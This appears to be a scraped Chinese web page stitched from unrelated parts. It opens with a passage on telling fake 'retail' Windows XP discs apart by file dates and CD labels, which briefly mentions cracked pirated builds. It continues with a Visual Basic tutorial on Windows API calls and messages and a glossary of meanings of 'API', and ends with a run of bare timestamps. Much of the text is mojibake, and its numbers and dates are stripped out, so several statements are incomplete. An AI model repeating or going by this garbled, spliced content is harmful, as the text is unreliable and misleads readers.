(b)再看一次.i下的文件日期,从--.:→--.:依序递增。为什么会这样,因为这些文件是从某个压缩档或.ISO文件解压缩到硬盘,才会有日期依序递增的现象。一般Windows的原版光盘的文件日期、时间都会一样。
(c)来看一下.i\eula.txt这个文件,eula.id:WX.4_PRO_RTL_TW.看起来应该是正式版的ID 的样子,RTL.应该是.Retail.的缩写。大家看到这个ID,都认为它是正式零售版。但是请大家看一下它的文件日期:--.:,很奇怪吧!如果它是和其它文件一起解压出来的,那么文件日期一定介于--.:和--.:之间,可见eula.txt不是先从压缩文件解压出来看看的话(如果真的是这样的话,它的文件时间应该也会在:和:之间,为什么?因为正常人不会在正式解压全部文件时,因为eula.txt事先已经解压出来了,而刻意跳过eula.txt吧),就是从别的地方弄来的或是事先修就改好的,如果是后者的话,那么是从那个版本拿来修改的呢?又为什么要修改呢?
(d)看CD.Label:WXPFRE_TW.,记得.Beta2的.Label:WB2PFRE_TW吗?微软不可能在正式版产品使用这样的CD.Label。另外,消息指出,英文零售版的.Label:WXPFPP_EN。所以,除非是作者不想让光盘看起来像正式版,不然这个版本就是假正式版。
5.还有其它一堆.OEM免激活、免激活正式版等等的,这些都是.利用.OEM、Fre.这些版本+Corpfiles.破解,再烧成可开机光盘的,看它们的CD.Label更是五花八门。
å ³äºAPIï¼
API(Application Programming Interface,åºç¨ç¨åºç¼ç¨æ¥å£)æ¯ä¸å¥ç¨æ¥æ§å¶Windowsçå个é¨ä»¶(ä»æ¡é¢çå¤è§å°ä¸ºä¸ä¸ªæ°è¿ç¨åé çå å)çå¤è§åè¡ä¸ºçä¸å¥é¢å å®ä¹çWindowså½æ°.ç¨æ·çæ¯ä¸ªå¨ä½é½ä¼å¼åä¸ä¸ªæå 个å½æ°çè¿è¡ä»¥åè¯Windowsåçäºä»ä¹.
è¿å¨æç§ç¨åº¦ä¸å¾è±¡Windowsç天ç¶ä»£ç .å ¶ä»çè¯è¨åªæ¯æä¾ä¸ç§è½èªå¨èä¸æ´å®¹æç访é®APIçæ¹æ³.VBå¨è¿æ¹é¢ä½äºå¾å¤å·¥ä½.å®å®å ¨éèäºAPI并ä¸æä¾äºå¨Windowsç¯å¢ä¸ç¼ç¨çä¸ç§å®å ¨ä¸åçæ¹æ³.
è¿ä¹å°±æ¯è¯´,ä½ ç¨VBååºçæ¯è¡ä»£ç é½ä¼è¢«VB转æ¢ä¸ºAPIå½æ°ä¼ éç»Windows.ä¾å¦,Form1.Print...VB å°ä¼ä»¥ä¸å®çåæ°(ä½ ç代ç ä¸æä¾ç,ææ¯é»è®¤åæ°)è°ç¨TextOut è¿ä¸ªAPIå½æ°.
åæ ·,å½ä½ ç¹å»çªä½ä¸çä¸ä¸ªæé®æ¶,Windowsä¼åéä¸ä¸ªæ¶æ¯ç»çªä½(è¿å¯¹äºä½ æ¥è¯´æ¯éèç),VBè·åè¿ä¸ªè°ç¨å¹¶ç»è¿åæåçæä¸ä¸ªç¹å®äºä»¶(Button_Click).
APIå½æ°å å«å¨Windowsç³»ç»ç®å½ä¸çå¨æè¿æ¥åºæ件ä¸(å¦User.dll,GDI.dll,Shell.dll...).
API 声æ
æ£å¦å¨"ä»ä¹æ¯API"ä¸æ说,APIå½æ°å å«å¨ä½äºç³»ç»ç®å½ä¸çDLLæ件ä¸.ä½ å¯ä»¥èªå·±è¾å ¥APIå½æ°ç声æ,ä½VBæä¾äºä¸ç§æ´ç®åçæ¹æ³,å³ä½¿ç¨API Text Viewer.
è¦æ³å¨ä½ çå·¥ç¨ä¸å£°æAPIå½æ°,åªéè¿è¡API Text Viewer,æå¼Winapi.txt(æ.MDBå¦æä½ å·²ç»æå®è½¬æ¢æäºæ°æ®åºçè¯,è¿æ ·å¯ä»¥å å¿«é度.注:微软çè¿ä¸ªæ件æå¾å¤çä¸è¶³,ä½ å¯ä»¥è¯ä¸ä¸æ¬ç«æä¾ä¸è½½çapi.txt),éæ©"声æ",æ¾å°æéå½æ°,ç¹å»"æ·»å (Add)"并"å¤å¶(Copy)",ç¶åç²è´´(Paste)å°ä½ çå·¥ç¨é.使ç¨é¢å®ä¹ç常éåç±»åä¹æ¯åæ ·çæ¹æ³.
ä½ å°ä¼éå°ä¸äºé®é¢:
åè®¾ä½ æ³å¨ä½ ççªä½æ¨¡åä¸å£°æä¸ä¸ªå½æ°.ç²è´´ç¶åè¿è¡,VBä¼åè¯ä½ :ç¼è¯é误...Declare è¯å¥ä¸å 许ä½ä¸ºç±»æ对象模åä¸ç Public æå...çèµ·æ¥å¾ç³ç³,å ¶å®ä½ éè¦åçåªæ¯å¨å£°æåé¢æ·»å ä¸ä¸ªPrivate(å¦ Private Declare Function...).--ä¸è¦å¿äº,å¯æ¯è¿å°ä½¿è¯¥å½æ°åªå¨è¯¥çªä½æ¨¡åå¯ç¨.
å¨æäºæ åµä¸,ä½ ä¼å¾å°"ä¸æç¡®çå称"è¿æ ·çæ示,è¿æ¯å 为å½æ°.常éæå ¶ä»çä»ä¹ä¸è¥¿å ±ç¨äºä¸ä¸ªå称.ç±äºç»å¤§å¤æ°çå½æ°(ä¹å¯è½æ¯å ¨é¨,æ没æéªè¯è¿)é½è¿è¡äºå«åå,亦å³æå³çä½ å¯ä»¥éè¿Aliasåå¥ä½¿ç¨å ¶å®çèä¸æ¯ä»ä»¬åæçå称,ä½ åªéç®åå°æ¹åä¸ä¸å½æ°å称èå®ä»ç¶å¯ä»¥æ£å¸¸è¿è¡.
ä½ å¯ä»¥éè¿æ¥çVBçDeclareè¯å¥å¸®å©ä¸»é¢æ¥è·åæå ³Aliasç详ç»è¯´æ.
æ¶æ¯(Messages)
好äº,ç°å¨ä½ å·²ç»ç¥éä»ä¹æ¯APIå½æ°äº,ä½ä½ ä¹ä¸å®å¬è¯´è¿æ¶æ¯(å¦æä½ è¿æ²¡æ,ä½ å¾å¿«å°±ä¼)并ä¸æ³ç¥éå®æ¯ä»ä¹.æ¶æ¯æ¯Windowsåè¯ä½ çç¨åºåçäºåªäºäºä»¶æè¦æ±æ§è¡ç¹å®æä½çåºæ¬æ¹æ³.ä¾å¦,å½ç¨æ·ç¹å»ä¸ä¸ªæé®,移å¨é¼ æ ,ææ¯åææ¬æ¡ä¸é®å ¥æåæ¶,ä¸æ¡æ¶æ¯å°±ä¼è¢«åéç»ä½ ççªä½.
ææåéçæ¶æ¯é½æå个åæ°--ä¸ä¸ªçªå£å¥æ(hwnd),ä¸ä¸ªæ¶æ¯ç¼å·(msg)è¿æ两个ä½é¿åº¦(Long)çåæ°.
hwndå³è¦æ¥åæ¶æ¯çä¸ä¸ªçªå£çå¥æ,msgå³æ¶æ¯çæ è¯ç¬¦(ç¼å·).该æ è¯ç¬¦æ¯æå¼åæ¶æ¯çå¨ä½ç±»å(å¦ç§»å¨é¼ æ ),å¦å¤ä¸¤ä¸ªåæ°æ¯è¯¥æ¶æ¯çéå åæ°(ä¾å¦å½é¼ æ 移å¨æ¶å æ çå½åä½ç½®)
ä½æ¯,å½æ¶æ¯åéç»ä½ æ¶ä½ 为ä»ä¹çä¸å°å¢--就象æ人å¨å·ä½ çä¿¡ä¸æ ·?请å å«æ¼ç«,让æåè¯ä½ .
å°å·å ¶å®æ¯Visual Basic.ä½å®å¹¶æ²¡æå·èµ°ä½ çä¿¡,èæ¯å¨é 读äºä¹åæåºéè¦ç以ä¸ç§å¥½çæ¹å¼åè¯ä½ .è¿ç§æ¹å¼å°±æ¯ä½ 代ç ä¸çäºä»¶(Event).
è¿æ ·,å½ç¨æ·å¨ä½ ççªä½ä¸ç§»å¨é¼ æ æ¶,Windowsä¼åéä¸æ¡WM_MOUSEMOVEæ¶æ¯ç»ä½ ççªå£,VBå¾å°è¿æ¡æ¶æ¯ä»¥åå®çåæ°å¹¶è¿è¡ä½ å¨äºä»¶MouseMoveä¸ç代ç ,åæ¶VBä¼æè¿æ¡æ¶æ¯ç第äºä¸ªä½æ°(å®å å«äºx,yåæ ,åä½ä¸ºåç´ (Pixel),æ¯ä¸ªä½ä½)转æ¢ä¸ºä¸¤ä¸ªå精度æ°,åä½ä¸ºç¼(Twip).
ç°å¨,å¦æä½ éè¦å æ åæ çåç´ è¡¨ç¤º,ç¶èVBå·²ç»æå®è½¬æ¢æäºç¼,å æ¤ä½ éè¦éæ°æå®è½¬æ¢ä¸ºä»¥åç´ ä¸ºåä½.å¨è¿é,Windowsç»äºä½ æéè¦ç,ä½VB"好æå°"è¿è¡äºè½¬æ¢èä½¿ä½ ä¸å¾ä¸éæ°è½¬æ¢.ä½ å¯è½ä¼é®--æé¾éä¸è½èªå·±æ¥æ¶æ¶æ¯å?çæ¡æ¯è¯å®ç,ä½ å¯ä»¥ä½¿ç¨ä¸ç§å«ååç±»å¤ç(Subclass)çæ¹æ³.ä½ä½ é¤éå¿ é¡»å¦åæ好ä¸è¦ä½¿ç¨,å 为è¿ä¸VBçå®å ¨ç¨åºè®¾è®¡æä¸ç¹ç¹çè¿è.(注:åç±»å¤çç¡®å®æå¾å¤§çé£é©,ä½å¦æ使ç¨å¾å½,æ¯å¾æç¨å¤ç.ä¸è¿æä¸ç¹ä¸å®è¦æ³¨æ,å³åä¸ä¸è¦ä½¿ç¨VBçæç¹è°è¯åè½,è¿å¯è½ä¼å¯¼è´VBå´©æº!)
éè¦è¡¥å 说æçæ¯:ä½ å¯ä»¥åéæ¶æ¯ç»ä½ èªå·±ççªå£æå ¶ä»ççªå£,åªéè°ç¨SendMessageæPostMessage(SendMessageä¼ä½¿æ¥åå°æ¶æ¯ççªå£ç«å»å¤çæ¶æ¯,èPostMessageæ¯ææ¶æ¯åéå°ä¸ä¸ªç§°ä¸ºæ¶æ¯éåçéåä¸å»,çåå¤ç(å®å°ä¼å¨è¯¥æ¶æ¯å¤çå®åè¿å,ä¾å¦æäºå»¶è¿)).ä½ å¿ é¡»å¶å®æ¥åæ¶æ¯ççªå£çå¥æ,欲åéæ¶æ¯çç¼å·(ææçæ¶æ¯çç¼å·å为常é,ä½ å¯ä»¥éè¿API Text Vieweræ¥å¾)以å两个ä½çåæ°ã
APIï¼åºç¨ç¨åºæ¥å£ï¼APIï¼Application Program Interfaceï¼
åºç¨ç¨åºæ¥å£ï¼APIï¼application programming interfaceï¼æ¯ä¸ç»å®ä¹ãç¨åºååè®®çéåï¼éè¿ API æ¥å£å®ç°è®¡ç®æºè½¯ä»¶ä¹é´çç¸äºéä¿¡ãAPI çä¸ä¸ªä¸»è¦åè½æ¯æä¾éç¨åè½éãç¨åºåéè¿ä½¿ç¨ API å½æ°å¼ååºç¨ç¨åºï¼ä»èå¯ä»¥é¿å ç¼åæ ç¨ç¨åºï¼ä»¥åè½»ç¼ç¨ä»»å¡ã
API åæ¶ä¹æ¯ä¸ç§ä¸é´ä»¶ï¼ä¸ºåç§ä¸åå¹³å°æä¾æ°æ®å ±äº«ãæ ¹æ®å个æåå¸å¼å¹³å°ä¸ä¸å软件åºç¨ç¨åºé´çæ°æ®å ±äº«æ§è½ï¼å¯ä»¥å° API å为åç§ç±»åï¼
è¿ç¨è¿ç¨è°ç¨ï¼RPCï¼ï¼éè¿ä½ç¨å¨å ±äº«æ°æ®ç¼åå¨ä¸çè¿ç¨ï¼æä»»å¡ï¼å®ç°ç¨åºé´çéä¿¡ã
æ åæ¥è¯¢è¯è¨ï¼SQLï¼ï¼æ¯æ åç访é®æ°æ®çæ¥è¯¢è¯è¨ï¼éè¿éç¨æ°æ®åºå®ç°åºç¨ç¨åºé´çæ°æ®å ±äº«ã
æä»¶ä¼ è¾ï¼æä»¶ä¼ è¾éè¿åéæ ¼å¼åæ件å®ç°åºç¨ç¨åºé´æ°æ®å ±äº«ã
ä¿¡æ¯äº¤ä»ï¼ææ¾è¦åæç´§è¦ååºç¨ç¨åºé´çå°åæ ¼å¼åä¿¡æ¯ï¼éè¿ç¨åºé´çç´æ¥éä¿¡å®ç°æ°æ®å ±äº«ã
å½ååºç¨äº API çæ åå æ¬ ANSI æ å SQL APIãå¦å¤è¿æä¸äºåºç¨äºå ¶å®ç±»åçæ åå°å¨å¶å®ä¹ä¸ãAPI å¯ä»¥åºç¨äºææ计ç®æºå¹³å°åæä½ç³»ç»ãè¿äº API 以ä¸åçæ ¼å¼è¿æ¥æ°æ®ï¼å¦å ±äº«æ°æ®ç¼åå¨ãæ°æ®åºç»æãæ件æ¡æ¶ï¼ãæ¯ç§æ°æ®æ ¼å¼è¦æ±ä»¥ä¸åçæ°æ®å½ä»¤ååæ°å®ç°æ£ç¡®çæ°æ®éä¿¡ï¼ä½åæ¶ä¹ä¼äº§çä¸åç±»åçé误ãå æ¤ï¼é¤äºå ·å¤æ§è¡æ°æ®å ±äº«ä»»å¡æéçç¥è¯ä»¥å¤ï¼è¿äºç±»åç API è¿å¿ 须解å³å¾å¤ç½ç»åæ°é®é¢åå¯è½çå·®éæ¡ä»¶ï¼å³æ¯ä¸ªåºç¨ç¨åºé½å¿ é¡»æ¸ æ¥èªèº«æ¯å¦æ强大çæ§è½æ¯æç¨åºé´éä¿¡ãç¸åç±äºè¿ç§ API åªå¤çä¸ç§ä¿¡æ¯æ ¼å¼ï¼æ以该æ å½¢ä¸çä¿¡æ¯äº¤ä» API åªæä¾è¾å°çå½ä»¤ãç½ç»åæ°ä»¥åå·®éæ¡ä»¶åéãæ£å 为å¦æ¤ï¼äº¤ä» API æ¹å¼å¤§å¤§éä½äºç³»ç»å¤ææ§ï¼æ以å½åºç¨ç¨åºéè¦éè¿å¤ä¸ªå¹³å°å®ç°æ°æ®å ±äº«æ¶ï¼éç¨ä¿¡æ¯äº¤ä» API ç±»åæ¯æ¯è¾çæ³çéæ©ã
API ä¸å¾å½¢ç¨æ·æ¥å£ï¼GUIï¼æå½ä»¤æ¥å£æçé²æçå·®å«ï¼API æ¥å£å±äºä¸ç§æä½ç³»ç»æç¨åºæ¥å£ï¼èå两è é½å±äºç´æ¥ç¨æ·æ¥å£ã
ææ¶å ¬å¸ä¼å° API ä½ä¸ºå ¶å ¬å ±å¼æ¾ç³»ç»ãä¹å°±æ¯è¯´ï¼å ¬å¸å¶å®èªå·±çç³»ç»æ¥å£æ åï¼å½éè¦æ§è¡ç³»ç»æ´åãèªå®ä¹åç¨åºåºç¨çæä½æ¶ï¼å ¬å¸æææåé½å¯ä»¥éè¿è¯¥æ¥å£æ åè°ç¨æºä»£ç ï¼è¯¥æ¥å£æ å被称ä¹ä¸ºå¼æ¾å¼ APIã
å¦ä¸ç§å«ä¹ï¼
1ï¼ç¾å½ç³æ²¹åä¼(API:American Petrolenm Institute)ï¼
API/æ¯æºæ¢°å¯å°ç设计åéç¨æ åï¼
API 转åæ³µçæ åï¼
2ï¼APIè¿æä¸ç§å«æï¼ç©ºæ°æ±¡æææ°ããè±æ air pollution index ç缩åã
空æ°æ±¡æææ°(AIR POLLUTION INDEXï¼ç®ç§°API)æ¯ä¸ç§åæ åè¯ä»·ç©ºæ°è´¨éçæ¹æ³ï¼å°±æ¯å°å¸¸è§çæµçå ç§ç©ºæ°æ±¡æç©çæµåº¦ç®åæ为åä¸çæ¦å¿µæ§æ°å¼å½¢å¼ã并å级表å¾ç©ºæ°è´¨éç¶åµä¸ç©ºæ°æ±¡æçç¨åº¦ï¼å ¶ç»æç®æç´è§ï¼ä½¿ç¨æ¹ä¾¿ï¼éç¨äºè¡¨ç¤ºåå¸ççæ空æ°è´¨éç¶åµåååè¶å¿ã
空æ°æ±¡æææ°çç¡®å®ååï¼ç©ºæ°è´¨éç好ååå³äºåç§æ±¡æç©ä¸å±å®³æ大ç污æç©ç污æç¨åº¦ã空æ°æ±¡æææ°æ¯æ ¹æ®ç¯å¢ç©ºæ°è´¨éæ ååå项污æç©å¯¹äººä½å¥åº·åçæç¯å¢çå½±åæ¥ç¡®å®æ±¡æææ°çå级åç¸åºç污æç©æµåº¦éå¼ãç®åæå½æç¨ç空æ°ææ°çå级æ åæ¯ï¼(1)空æ°æ±¡æææ°(API)ç¹å¯¹åºç污æç©æµåº¦ä¸ºå½å®¶ç©ºæ°è´¨éæ¥åå¼ä¸çº§æ åï¼(2)APIç¹å¯¹åºç污æç©æµåº¦ä¸ºå½å®¶ç©ºæ°è´¨éæ¥åå¼äºçº§æ åï¼(3)APIç¹å¯¹åºç污æç©æµåº¦ä¸ºå½å®¶ç©ºæ°è´¨éæ¥åå¼ä¸çº§æ åï¼(4)APIæ´é«å¼æ®µçå级对åºäºåç§æ±¡æç©å¯¹äººä½å¥åº·äº§çä¸åå½±åæ¶çæµåº¦éå¼ï¼APIç¹å¯¹åºäºå¯¹äººä½äº§ç严éå±å®³æ¶å项污æç©çæµåº¦ã
æ ¹æ®æå½ç©ºæ°æ±¡æçç¹ç¹å污æé²æ²»å·¥ä½çéç¹ï¼ç®åè®¡å ¥ç©ºæ°æ±¡æææ°ç污æç©é¡¹ç®æå®ä¸ºï¼äºæ°§åç¡«ã氮氧åç©åæ»æ¬æµ®é¢ç²ç©ãéçç¯å¢ä¿æ¤å·¥ä½çæ·±å ¥åçæµææ¯æ°´å¹³çæé«ï¼åè°æ´å¢å å ¶å®æ±¡æ项ç®ï¼ä»¥ä¾¿æ´ä¸ºå®¢è§å°ååºæ±¡æç¶åµã
空æ°æ±¡æææ°ç计ç®ä¸æ¥åï¼
污æææ°ä¸å项污æç©æµåº¦çå ³ç³»æ¯å段线æ§å½æ°(è§è¡¨1åå¾1)ï¼ç¨å ææ³è®¡ç®å污æç©çåææ°In(å ·ä½è®¡ç®æ¹æ³è¯·åè§ãç¯å¢çæµç®æ¥ã年第9æ)ï¼åå项污æç©åææ°ä¸æ大è 代表该åºåæåå¸ç污æææ°ãå³ï¼APIï¼max(I1,I2···Ii,···In)
该ææ°æ对åºç污æç©å³ä¸ºè¯¥åºåæåå¸çé¦è¦æ±¡æç©ãå½æ±¡æææ°APIå¼å°äºæ¶ï¼ä¸æ¥åé¦è¦æ±¡æç©ã
3ï¼å¨JAVAä¸ï¼APIé¤äºæåºç¨âç¨åºç¨åºæ¥å£âçææå¤ï¼è¿ç¹æJAVA APIç说æææ¡£ï¼ä¹ç§°ä¸ºJAVA帮å©ææ¡£ã
4.API Q1è´¨éä½ç³»è®¤è¯æ¯æ¨åç¨æ·è¯ææ¨æä¸å¥API认å¯çå®åçè´¨é管çä½ç³», æäºç³æ²¹ã天ç¶æ°è®¾å¤å¶é åæç产ç产åç®å没ææéç¨APIä¼æ 产åçè§è对åºï¼ ä½ä»ä»¬åæ³åç¨æ·è¯æä»ä»¬ç产åææå¡ç¬¦åAPIæ åçè¦æ±ï¼æ以API Q1è´¨éä½ç³»è®¤è¯å¯ä»¥å¸®æ¨åå°ãAPI Q1è´¨éä½ç³»è®¤è¯ç¹å«éç¨äºé£äºæç产ç产å没æç¸åºçAPIä¼æ 产åè§èæ对åºçç³æ²¹ã天ç¶æ°è®¾å¤ç产åå®¶ï¼ æåç³æ²¹ã天ç¶æ°è¡ä¸æä¾æå¡çå ¬å¸ã
5.åæè¯ï¼Active Pharmaceutical Ingredientsï¼ï¼ æçæ¯è¯ç©æ´»æ§æåï¼ä¹å°±æ¯æ们é常æ说çåæè¯ã
å¦ä¸ç§å«ä¹ï¼
使ç¨APIï¼åºç¨ç¼ç¨æ¥å£ï¼è±æå ¨ç§°ï¼Application Programming Interfaceï¼æ建ä¸å¡æ¯å®ç°å¼æ¾å¼ä¸å¡ç»æçå ³é®ææ¯ï¼ä¹æ¯ä¸ä¸ä»£ç½ç»åºå«äºä¼ ç»çµä¿¡ç½ç主è¦ç¹ç¹ä¹ä¸ãç®åï¼å ³äºä¸ä¸ä»£ç½ç»çå¼æ¾å¼ä¸å¡APIæ å主è¦å æ¬ï¼ç±Parlayç»ç»ã3GPPåETSI SPANå ±åå¶å®çParlay/OSA API以åç±SUNå ¬å¸å¨Javaå¹³å°ä¸æ¨åºçJAIN APIã
Parlay APIæ¯ç±Parlayç»ç»å®ä¹ç便äºä¸å¡å¼åè å¿«éå建çµä¿¡ä¸å¡çåºç¨ç¼ç¨æ¥å£ï¼èªå¹´æç«ä»¥æ¥ï¼Parlayç»ç»å·²å¶å®äº4个çæ¬çParlayåè®®ãå¼æ¾å¼ä¸å¡ç»æ(OSA)æ¯3GPPå¶å®çå¤åªä½ä¸å¡æ¡æ¶ï¼éå®Parlayä½ä¸ºå ¶å¼æ¾å¼ä¸å¡æ¥å£APIã两è ç»åçParlay/OSA APIç¬ç«äºå ·ä½çå®ç°ææ¯ï¼å¯ä»¥åºç¨äºåºå®ç½ç»ã移å¨ç½ç»ä»¥åä¸ä¸ä»£ç½ç»çä¸å¡æä¾ï¼ç¬ç«äºå ·ä½çå®ç°è¯è¨ï¼å¯ä»¥ç¨CãC++ãJavaçåç§è¯è¨å®ç°ï¼å®ä¹äºå®åç认è¯åæææºå¶ï¼ä»¥æ¯æ对第3æ¹åºç¨çæ¯æã
Parlay/OSA APIä½äºç±ç½ç»è¿è¥å管ççParlayç½å ³åç±ä¸å¡æä¾å管ççåºç¨æå¡å¨ä¹é´ãParlayç½å ³å¯¹åºç¨æå¡å¨å±è½äºä¸å±ç½ç»çææ¯å®ç°ç»èï¼ä½¿å¾åºç¨æå¡å¨å¯ä»¥ä½¿ç¨ç»ä¸çæ¹å¼å¯¹ç½ç»è½åè¿è¡è®¿é®ã
Parlay/OSA APIå æ¬ä¸¤ç±»æ¥å£ï¼ä¸å¡æ¥å£åæ¡æ¶æ¥å£ãä¸å¡æ¥å£æä¾åºç¨è®¿é®ç½ç»è½ååä¿¡æ¯çæ¥å£ï¼æ¡æ¶æ¥å£æä¾ä¸å¡æ¥å£å®å ¨ã管çæå¿ éçæ¯æè½åãä¸å¡æ¥å£ä¿è¯ç¨æ·è½å¤æ¥å ¥ä¼ ç»ç½ç»ï¼å¦å¼å«æ§å¶ãå¼å«ç®¡çãåéæ¶æ¯ãç¨æ·äº¤äºçï¼æ¡æ¶æ¥å£æä¾çåè½æï¼ä¸å¡ç»è®°ãä¸å¡é¢è®¢ãä¸å¡åç°ã认è¯ãææå综å管çã
JAIN APIåParlay/OSA API设计ææ³ç¸è¿ï¼åè½ä¸å ·æäºè¡¥æ§ãå®éç¨ä¸ä¸çJavaè¯è¨å®ç°ï¼å¹¶ä¸å®ä¹äºæ¯è¾å®å¤ç访é®åç§ç½ç»çç½ç»åè®®APIãç®åParlay/JAINèåå·¥ä½ç»æ£å¨è¿è¡ä¸¤è çèåå·¥ä½ã
APIï¼å»è¯æ´»æ§ç©åæè¯
åèèµæï¼/question/.html
2024-12-22 14:32
2024-12-22 14:22
2024-12-22 14:17
2024-12-22 13:15
2024-12-22 13:04
2024-12-22 12:56